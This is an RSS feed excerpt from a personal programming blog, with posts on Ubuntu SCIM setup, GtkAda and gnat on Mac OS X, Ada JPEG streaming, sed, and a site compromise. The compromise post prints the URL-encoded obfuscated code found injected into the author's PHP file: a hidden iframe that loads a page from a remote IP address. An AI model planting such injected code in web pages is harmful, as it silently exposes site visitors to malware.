		<category><![CDATA[Web]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/</guid>
		<description><![CDATA[What is information forensics? Information forensics is a science of investigation into systemic processes that produce information. Systemic processes utilize technology, primarily computing technology, in creating, delivering, storing, evaluating and processing of information. This process is usually complement by manual process. Information forensics investigation dwells into the aspect of creation, operation and evolution of the [...]]]></description>
			<content:encoded><![CDATA[<p>What is <em>information forensics</em>? Information forensics is a science of investigation into systemic processes that produce information. Systemic processes utilize technology, primarily computing technology, in creating, delivering, storing, evaluating and processing of information. This process is usually complement by manual process. Information forensics investigation dwells into the aspect of creation, operation and evolution of the enterprise information.</p>
<p>My first exposure to information forensics was during my project seeding at UTAR. Dr. Robert Tee was a good friend of mine and he exposed me to information forensics. Although we did not dwell too much deeper into it, I did some research myself and practice it. I provide Information Security Assessment Service to my clients on demand basis.</p>
<p>Information forensics is also very useful for SEO (Search Engine Optimization). My current SEO effort has fully utilized my skill in information forensics investigation to optimize my blog search results on search engines. I also utilize this skill to investigate the visiting patterns of my visitors by cross-referencing their IP addresses from various sources, visiting destination, search criteria, and other interests. From this information, I can have a deeper understanding of the visiting habits of my visitors and identify their search interest. To date, I have identified some spammers and reported them.</p>
<p>I am amazed how information forensics investigation helps me in SEO. If you would like more information about SEO or ISAS services, please visit <a href="http://adrianhoe.com">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; SCIM and Ubuntu Gutsy Gibbon</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/#comments</comments>
		<pubDate>Mon, 22 Oct 2007 03:57:40 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[chinese input]]></category>
		<category><![CDATA[gutsy gibbon]]></category>
		<category><![CDATA[input method]]></category>
		<category><![CDATA[scim]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/</guid>
		<description><![CDATA[Ubuntu 7.10, code named &#8220;Gutsy Gibbon&#8221;, has been released. I just finished upgrading from Feisty Fawn (7.04) to Gutsy Gibbon. The upgrade (downloading, unpacking, removing, installing, configuring and cleaning) took about 6 hours to complete. The upgrade was smooth and without any problems except it broke my scim. I have exhausted the search on Internet [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://ubuntu.org" target="_new"><img src="http://adrianhoe.com/adrianhoe/images/blog/ubuntu_gutsy_gibbon.png" alt="Ubuntu Gutsy Gibbon 7.10" align="right"/></a>Ubuntu 7.10, code named &#8220;Gutsy Gibbon&#8221;, has been released. I just finished upgrading from Feisty Fawn (7.04) to Gutsy Gibbon. The upgrade (downloading, unpacking, removing, installing, configuring and cleaning) took about 6 hours to complete.</p>
<p>The upgrade was smooth and without any problems except it broke my scim. I have exhausted the search on Internet for a fix but was disappointed. So, I tried to experiment with a few methods based on the information I had on the Internet and came up a work around for this problem.</p>
<p>Referring to my Chinese Input HOWTO <a href="http://adrianhoe.com/adrianhoe/2007/10/18/howto-chinese-input-for-ubuntu/">here</a>, I assume you have installed <em>scim</em> in Feisty Fawn (7.04) and later upgraded to Gutsy Gibbon (7.10).</p>
<ol>
<li>Goto System -> Preference -> Sessions. Delete the &#8220;Input Method&#8221; as created in my previous HOWTO.</li>
<li>Uninstall and install again scim and all suggested packages.</li>
<li>Click on menu: System -> Preferences ->Sessions
<ul>
<li>Click Startup Program Tab then [New] button.</li>
<li>Name: Input Methods</li>
<li>Command: scim -d</li>
<li>Click [OK] button</li>
</ul>
</li>
<li>Logout and login again.</li>
<li>Go to System -> Administration -> Language Support
<ul>
<li>Select your language(s) support. In my case, Chinese and Japanese.</li>
<li>Check the box at the bottom, Input Method, to activate complex characters input. Apply, uncheck it, apply and check again and apply then quit.</li>
<li>Restart Language Support to make sure the box is checked.</li>
</ul>
</li>
<li>Logout and restart your system.</li>
<li>Login and launch any application, e.g. gedit or Terminal. Right click and select &#8220;Input Method&#8221; and check &#8220;SCIM Input Method&#8221;.</li>
<li>Now click on the &#8220;Input Method&#8221; tray icon on the top left of your screen to choose your desired language support and input method.</li>
</ol>
<p>Now, you should be able to switch input method in some applications such as Terminal or gedit. It still does not work on every applications such as Open Office. To activate scim for every applications, use the command line (or Terminal):</p>
<ol>
<li>Check your locale:
<pre>
<code>
$ locale | grep LANG=
</code>
</pre>
<p>The answer would be something like below, which is in my case:</p>
<pre>
<code>
LANG=en_US.UTF-8
</code></pre>
</li>
<li>Now, with the following command, insall scim-qtimm and tell your system you want to use scim for your input method in your locale:
<pre>
<code>
$ sudo apt-get install scim-qtimm
$ im-switch -z en_US -s scim
</code>
</pre>
</li>
<li>Logout and login again and start Open Office. You should now able to select your input method in every applications.</li>
</ol>
<p>This should also work (with instructions from my previous post <a href="http://adrianhoe.com/adrianhoe/2007/10/18/howto-chinese-input-for-ubuntu/">here</a>) if you have a fresh installation of Gutsy Gibbon. Please let me know if this works for you.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; Building GtkAda project with xcode</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/07/howto-building-gtkada-project-with-xcode/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/07/howto-building-gtkada-project-with-xcode/#comments</comments>
		<pubDate>Sun, 07 Oct 2007 03:35:43 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Cocoa]]></category>
		<category><![CDATA[gnat]]></category>
		<category><![CDATA[GtkAda]]></category>
		<category><![CDATA[JPEG]]></category>
		<category><![CDATA[X11]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/04/howto-building-gtkada-project-with-xcode/</guid>
		<description><![CDATA[My current project (here) requires to develop a GUI application for displaying some JPEG images. I intended to develop a native Mac OS X GUI application using Carbon or Cocoa. Since there is no Cocoa binding in Ada, I narrowed down my option to Carbon. I hit on the wall of frustration where Carbon binding [...]]]></description>
			<content:encoded><![CDATA[<p>My current project (<a href="http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/">here</a>) requires to develop a GUI application for displaying some JPEG images. I intended to develop a native Mac OS X GUI application using Carbon or Cocoa. Since there is no Cocoa binding in Ada, I narrowed down my option to Carbon. I hit on the wall of frustration where Carbon binding on <a href="http://macada.org">MacAda.org</a> is very old and supports only gnat-3.3 and PPC (I hope I am not wrong on this).</p>
<p>I have to turn to Gtk+ which will require GtkAda and X11 on Mac OS X. I compiled my test code written for GtkAda very well on console. But when I imported the codes into xcode project, it did not compile. I got the following errors:</p>
<pre><code>error: "gtk.ads" must be recompiled ("a-except.ads" has been modified)
error: "gdk.ads" must be recompiled ("a-except.ads" has been modified)
error: "glib.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-object.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-type_conversion_hooks.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada.ads" must be recompiled ("system.ads" has been modified)
error: "gtkada-bindings.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada-c.adb" must be recompiled ("system.ads" has been modified)
...
</code></pre>
<p>I sought help from <a href="http://hermes.gwu.edu/archives/gnat-osx.html">GNAT-OSX mailing list</a> (<a href="http://hermes.gwu.edu/cgi-bin/wa?A1=ind0709&amp;L=gnat-osx">September 2007</a> archive), but to no avail. I spent many days investigating the cause but to find out that gtkada source codes would be compiled and produced .ali and .o files in the build directory when I used gnatmake to build my GtkAda application.</p>
<pre><code>$ gnatmake testproject.adb `gtkada-config`
</code></pre>
<p>To build a GtkAda project in xcode, follow the instructions below:</p>
<ol style="text-indent: 0px">
<li>In the project browser, under the Group &amp; Files column, locate Targets and the your project name. Right click your project name and select Add Link Binary With Libraries. Select GtkAda libraries from <em>/opt/local/lib/gtkada</em> and necessary libraries from /opt/local/lib.</li>
<li>Select your project name and click on the Info button. In Build tab, select Search Paths under Collection. Include <em>/opt/local/include/gtkada</em> in Header Search Paths. Also include <em>/opt/local/lib</em> and <em>/opt/local/lib/gtkada</em> in Library Search Paths.</li>
<li><span style="text-decoration: line-through;">Select Source in your project. Select Add to Project &#8230; in Project menu. Include all the GtkAda source files in </span><em><span style="text-decoration: line-through;">/opt/local/include/gtkada</span></em><span style="text-decoration: line-through;">.</span></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/07/howto-building-gtkada-project-with-xcode/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; Installing gnat-4.3 on Mac OS X</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/#comments</comments>
		<pubDate>Thu, 04 Oct 2007 15:15:24 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[gnat]]></category>
		<category><![CDATA[MacBook]]></category>
		<category><![CDATA[Xcode]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/</guid>
		<description><![CDATA[Perhaps someone has written this before but it seems no where to be found. So I just write a simple HOWTO about installing gnat-4.3 on Mac OS X. My installation is on MacBook 2.16GHz Intel Core 2 Duo running Mac OS 10.4.10 with Xcode 2.4.1. Pre-requisition is to have Xcode installed before installing gnat-4.3. Go [...]]]></description>
			<content:encoded><![CDATA[<p>Perhaps someone has written this before but it seems no where to be found. So I just write a simple HOWTO about installing gnat-4.3 on Mac OS X.</p>
<p>My installation is on MacBook 2.16GHz Intel Core 2 Duo running Mac OS 10.4.10 with Xcode 2.4.1. Pre-requisition is to have Xcode installed before installing gnat-4.3.</p>
<ol style="text-indent: 0px">
<li>Go to <a href="http://macada.org">MacAda.org</a> to download gnat-4.3 and other necessary tools. Launch the installation in the disk image.</li>
<li>Make the following softlinks:
<pre><code>
$ ln -s /usr/local/ada-4.3/bin/gcc /usr/bin/gcc-4.3
$ ln -s /usr/local/ada-4.3/bin/g++ /usr/bin/g++-4.3
</code></pre>
</li>
<li> Launch gcc_select:
<pre><code>
$ sudo gcc_select 4.3
</code></pre>
</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Adrenaline Hack</title>
		<link>http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/#comments</comments>
		<pubDate>Tue, 25 Sep 2007 06:39:21 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/</guid>
		<description><![CDATA[Wow! I&#8217;ve done it! Yes! Yes! Yes! After a successful hack to receive a server-push JPEG stream from a video server (more story here), the next challenge for me was to display the JPEG in a GUI window. I have been trying to get Carbon binding to work with gnat 4.3 on xcode but I [...]]]></description>
			<content:encoded><![CDATA[<p>Wow! I&#8217;ve done it! Yes! Yes! Yes!</p>
<p>After a successful hack to receive a server-push JPEG stream from a video server (more story <a href="http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/">here</a>), the next challenge for me was to display the JPEG in a GUI window.</p>
<p>I have been trying to get Carbon binding to work with gnat 4.3 on <a href="http://www.apple.com/macosx/features/xcode/">xcode</a> but I am forced to abandon it for a while. I switched my target to <a href="https://libre.adacore.com/GtkAda/">GtkAda</a> which will require X11 on Mac OS X. One plus side is that my application will be platform independent if I use Gtk/GtkAda. That means my application can be compiled and run on Linux, Solaris and Windows with the platform-independent GUI. More business may be and hopefully.</p>
<p>I was working to get GtkAda to work on my Mac since yesterday but I had corrupted some of the files I installed with <a href="http://finkproject.org/">Fink</a>. Fortunately, I have a backup (actually I copied) on my MacBook but I guess I won&#8217;t need it anymore since the Gtk+2 and GtkAda are working on my Mac Mini. I will delete the copy on my MacBook later and install it with the working Gtk+/GtkAda.</p>
<p>I spent the entire morning and noon to write a single window, stripped down application to display the JPEG image I downloaded using the application I worked on <a href="http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/">earlier</a>. I could not get the result. After many hours of hacking, I finally got it to work!</p>
<p>It is so rewarding to see it happens and I have got a good dose of adrenaline today. The feeling is difficult to describe. So it is difficult for other people to feel the excitement and the rewarding state of mind I am into.</p>
<p>The next challenge is to write an experimental application to continuously receive multiple streams of JPEG images and display them in multiple frames in a window, the last and toughest task with parallelism involving socket and GUI. After this, comes the serious software development by integrating all these experimental applications into a nice GUI application.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Server-Push JPEG Stream</title>
		<link>http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/#comments</comments>
		<pubDate>Thu, 13 Sep 2007 15:46:24 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/</guid>
		<description><![CDATA[I am working on a video server project since last week. This project is to develop a client software running on Mac OS X to control a video server and to retrieve streams of JPEG images from it. And of course, I am going to develop with Ada together with AWS (Ada Web Server). Up [...]]]></description>
			<content:encoded><![CDATA[<p>I am working on a video server project since last week. This project is to develop a client software running on Mac OS X to control a video server and to retrieve streams of JPEG images from it. And of course, I am going to develop with Ada together with AWS (Ada Web Server).</p>
<p>Up to this point, I am able to connect to the video server with AWS and retrieve a stream of JPEG images from the video server. I have been able to manually extract JPEG images from the stream identified by SOI (0xFFD8) and EOI (0xFFD9). But some of the images extracted from the stream are not recognized as JPEG file while some images appeared to be corrupted. I am totally puzzled by this behavior.</p>
<p>Could it be the size of the stream buffer (512 bytes) causing the corruption? Could it be the output of the received stream to a disk file delay the receiving process?</p>
<p>Here&#8217;s a snip of my Ada code:</p>
<pre><code>
     ...
     Data         : Ada.Streams.Stream_Element_Array (1 .. 512);
     ...
     loop
        AWS.CLient.Read_Some (Connection, Data, Offset);
        exit when Offset &lt; Data'First or Count &gt; 512_000;
        Ada.Streams.Stream_IO.Write (File_Handler, Data);
        Count := Count + Integer (Offset);
     end loop;
     ...
</code></pre>
<p>It is quite fun spending entire day hacking the server-push stream and the JPEG images. It has been a long time since my last hacking. Welcome back to the reality!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Peculiar behavior of Sed</title>
		<link>http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/#comments</comments>
		<pubDate>Fri, 06 Apr 2007 19:02:22 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Solaris]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/</guid>
		<description><![CDATA[What is Sed? Sed is the ultimate stream editor. If that sounds strange, picture a stream flowing through a pipe. Okay, you can&#8217;t see a stream if it&#8217;s inside a pipe. That&#8217;s what I get for attempting a flowing analogy. You want literature, read James Joyce. Anyhow, sed is a marvelous utility. Unfortunately, most people [...]]]></description>
			<content:encoded><![CDATA[<p>What is Sed?</p>
<blockquote><p><em>Sed</em> is the ultimate <strong>s</strong>tream <strong>ed</strong>itor.  If that sounds strange, picture a stream flowing through a pipe. Okay, you can&#8217;t see a stream if it&#8217;s inside a pipe. That&#8217;s what I get for attempting a flowing analogy. You want literature, read James Joyce.</p>
<p>Anyhow,  <em>sed</em> is a marvelous utility. Unfortunately, most people never learn its real power. The language is very simple, but the documentation is terrible. The Solaris on-line manual pages for <em>sed</em> are five pages long, and two of those pages describe the 34 different errors you can get. A program that spends as much space documenting the errors than it does documenting the language has a serious learning curve.</p></blockquote>
<p>You can read more about Sed <a href="http://www.grymoire.com/Unix/Sed.html#uh-0">here</a>.</p>
<p>My project uses a thick binding of PostgreSQL/MySQL called APQ. APQ is a project by Warren and I helped to host it at my server. See my post <a href="http://adrianhoe.com/adrianhoe/2006/11/11/apq-and-adavox/">here</a>. The <em>configure</em> and <em>make</em> process are not really stable which I think is due to various version of MySQL and the Linux tools such as <em>sed</em>.</p>
<p>To build APQ, first, two MySQL include files, <em>errmsg.h</em> and <em>mysqld_error.h</em> need to be parsed. These files contain MySQL error codes and they need to be parsed and translated into Ada syntax. This translated Ada code will be inserted into <em>apq_mysql.ads</em>.</p>
<p>However, this parsing and translation process are not working correctly as they supposed to be. When I look into this problem, I found a peculiar abnormality. The parser uses <em>sed</em>. When I built APQ on Mac OS X, FC5 and Solaris (Intel), the result in <em>apq_mysql.ads</em> is not consistent on these different OS.</p>
<p>After I upgraded to Mac OS X 10.4.9, the parser refused to work with some error messages which I think caused by <em>sed</em>. I was mingling with the <em>configure</em> script until this hour. Suddenly, something struck my mind. Why do I need to mingle with <em>configure</em>? The problem is the parsing and it deserves the highest priority. The build configuration does not perform a thorough check of the environment but it still works fine at this point. So, I moved my priority to write a parser in Ada to solve the parsing problem. This light shed on me at this whee hour in the morning and I was really too tire to continue working on the parser.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website security compromised</title>
		<link>http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/#comments</comments>
		<pubDate>Fri, 30 Mar 2007 09:25:46 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Critiques]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/</guid>
		<description><![CDATA[I noticed a drastic reduce of visitors to my website in February and March. I was wondering what was happening. On March 8, I suddenly received a notification email from Google Search Quality team informing that my website was a hazard to visitors and it might contain some malware or badware. I was shocked to [...]]]></description>
			<content:encoded><![CDATA[<p>I noticed a drastic reduce of visitors to my website in February and March. I was wondering what was happening. On March 8, I suddenly received a notification email from Google Search Quality team informing that my website was a hazard to visitors and it might contain some <i>malware</i> or <i>badware</i>. I was shocked to know about it and I Googled for my site and found that my sites had been tagged &#8220;This site may harm your computer&#8221; and visitors could not access to my website following the link from Google search page.</p>
<p>With the help from my hosting provider, I found a piece of malicious <a href="http://en.wikipedia.org/wiki/Obfuscated_code">obfuscated code</a> in JavaScript had been intentionally embedded into one of the .PhP file. Part of the obfuscated code read like this:</p>
<pre>
<code>
%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E
</code>
</pre>
<p>I removed the malicious code from my .PhP script file and informed Google team. It really took them quite some time to remove my website from their list. A moment ago, I found out that my site has been de-listed from Google&#8217;s list of malicious websites.  </p>
<p>Ironically, today I received an announcement from my web hosting provider that they implement HackerSafe Certification on all websites hosted with them. Here&#8217;s a snapshot of their newsletter:</p>
<div style="text-align: center"><img src="http://adrianhoe.com/adrianhoe/images/blog/ipower_hackersafe.png" /></div>
<p>I am all tied up to carefully inspect and decipher the code. Any taker?</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>What a stupid Digi service</title>
		<link>http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/#comments</comments>
		<pubDate>Thu, 28 Dec 2006 10:35:25 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Critiques]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/</guid>
		<description><![CDATA[I registered my mom&#8217;s Digi prepaid number at Digi&#8217;s Melaka Raya office using my MyKad. The man slotted my MyKad to a reader and after a while he confirmed that my line had been registered. Today, when I was trying to make a call from my mom&#8217;s Digi number, it said that no outgoing call [...]]]></description>
			<content:encoded><![CDATA[<p>I registered my mom&#8217;s Digi prepaid number at Digi&#8217;s Melaka Raya office using my MyKad. The man slotted my MyKad to a reader and after a while he confirmed that my line had been registered. Today, when I was trying to make a call from my mom&#8217;s Digi number, it said that no outgoing call was allowed. I checked the validity and it expires on 12/31. There are 3 more days before the validity expires. I am going to Digi office tomorrow to make hell lot of noise, for sure.</p>
<p>The prepaid registration drive is really hectic and stupid. The government thinks that it can deter unlawful use but I don&#8217;t think so. There are many other ways to obtain a prepaid cell phone numbers without needing to register with true identity. Like in Taiwan, prepaid cell phones need to be registered but they still have lots of problems with &#8220;ghost&#8221; cell phones. I was able to register one for myself without much fuss. An advanced country like Taiwan can&#8217;t even solve the problem and our country is thinking that it can. What a childish assumption! That makes the whole thing looks so stupid.</p>
<p>Another thing which I have observed is that personal information are revealed when someone register a prepaid cell service using MyKad at dealers. The dealers are equipped with MyKad reader and software to read personal details from MyKad and these information including address will be displayed on the computer screen. Women please beware of this. You may be tracked. Perpetrator may use these information to hunt you down. So, everyone, please beware when you are registering your prepaid cell service at dealers. Make sure they don&#8217;t copy your personal information. Your information displayed in the window can be easily copied by pressing ALT + Print Scrn. This will capture the current window instantly.<br />
They think it is cool to register using MyKad and IT gadgets but that opens up a whole new opportunity for crimes. Please beware and make the government to change its policy that no one can read and display personal details without the presence of MyKad holder and these reader and software must be properly audited by trusted organization to make sure it does not save these information stealthily.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Mac Mini USB port hangs!</title>
		<link>http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/#comments</comments>
		<pubDate>Sun, 05 Nov 2006 23:02:53 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/</guid>
		<description><![CDATA[I tried to connect a USB card reader via an USB extension (1 to 1 port) which was connected to one of the USB port on Pluto. The power light on the reader came on and I inserted a CF card into the reader. The light on on the card slot did not turn on. [...]]]></description>
			<content:encoded><![CDATA[<p>I tried to connect a USB card reader via an USB extension (1 to 1 port) which was connected to one of the USB port on Pluto. The power light on the reader came on and I inserted a CF card into the reader. The light on on the card slot did not turn on. I tried many times and still could not mount my CF card.</p>
<p>I unplugged the USB extension and connect the card reader directly to USB port and it was still unmountable. I unplugged the optical mouse from another USB port and plugged it into the troubled port. The red LED of the optical mouse did not turn on. I tried with a keyboard and had no response on the keyboard.</p>
<p>Finally, I decided to restart Pluto. After the restart, the troubled USB port works again. I wonder what caused the USB port to hang. Is it the USB extension? Is it a software glitch? I sure hope that it is not a hardware problem.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Weird formatting behavior</title>
		<link>http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/#comments</comments>
		<pubDate>Thu, 02 Nov 2006 09:13:27 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/</guid>
		<description><![CDATA[In my Solaris 10 post, there was a weird formatting behavior which troubled me in last 24 hours. The &#8220;#&#8221; were not aligned in same column. For example, it looks like this: Create two files in /etc # echo 195.168.24.1 > /etc/defaultrouter # echo nameserver DNS_ip_address_1 >> /etc/resolv.conf # echo nameserver DNS_ip_address_2 >> /etc/resolv.conf I [...]]]></description>
			<content:encoded><![CDATA[<p>In my Solaris 10 post, <a href="http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/">there</a> was a weird formatting behavior which troubled me in last 24 hours. The &#8220;#&#8221; were not aligned in same column. For example, it looks like this:</p>
<pre>
<ol>
<li>Create two files in /etc
<pre><code>
# echo 195.168.24.1 > /etc/defaultrouter
# echo nameserver DNS_ip_address_1 >> /etc/resolv.conf
# echo nameserver DNS_ip_address_2 >> /etc/resolv.conf
</code></pre>
</li>
</ol>
</pre>
<p>I came across Brian&#8217;s <a href="http://chapados.org/">website</a> and found his &lt;pre&gt; and &lt;code&gt; tags look great and I followed and modified his css stylesheet for my use. There was no problem before I added these tags because I used &lt;blockquote&gt; tag for this purpose. I could not solve the problem and I emailed Brian. After a couple of emails, I was still unable to solve the problem. In his last email, he said:</p>
<blockquote><p>&#8230;I suspect it has something to do with the css code.  Try commenting out the white-space and word-wrap commands from your pre tag style and see what happens&#8230;</p></blockquote>
<p>The idea rang in my head and I did some experiments and found the culprit was the &lt;ol&gt; tag. It contains &#8220;text-indent:-5px;&#8221;. I edited the &lt;ol&gt; tag in the html of Solaris 10 post and the problem is resolved:</p>
<pre><code>&lt;ol style="text-indent:0px;"&gt;
</code></pre>
<p>Thanks Brian, if you are reading this.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Solaris 10</title>
		<link>http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/#comments</comments>
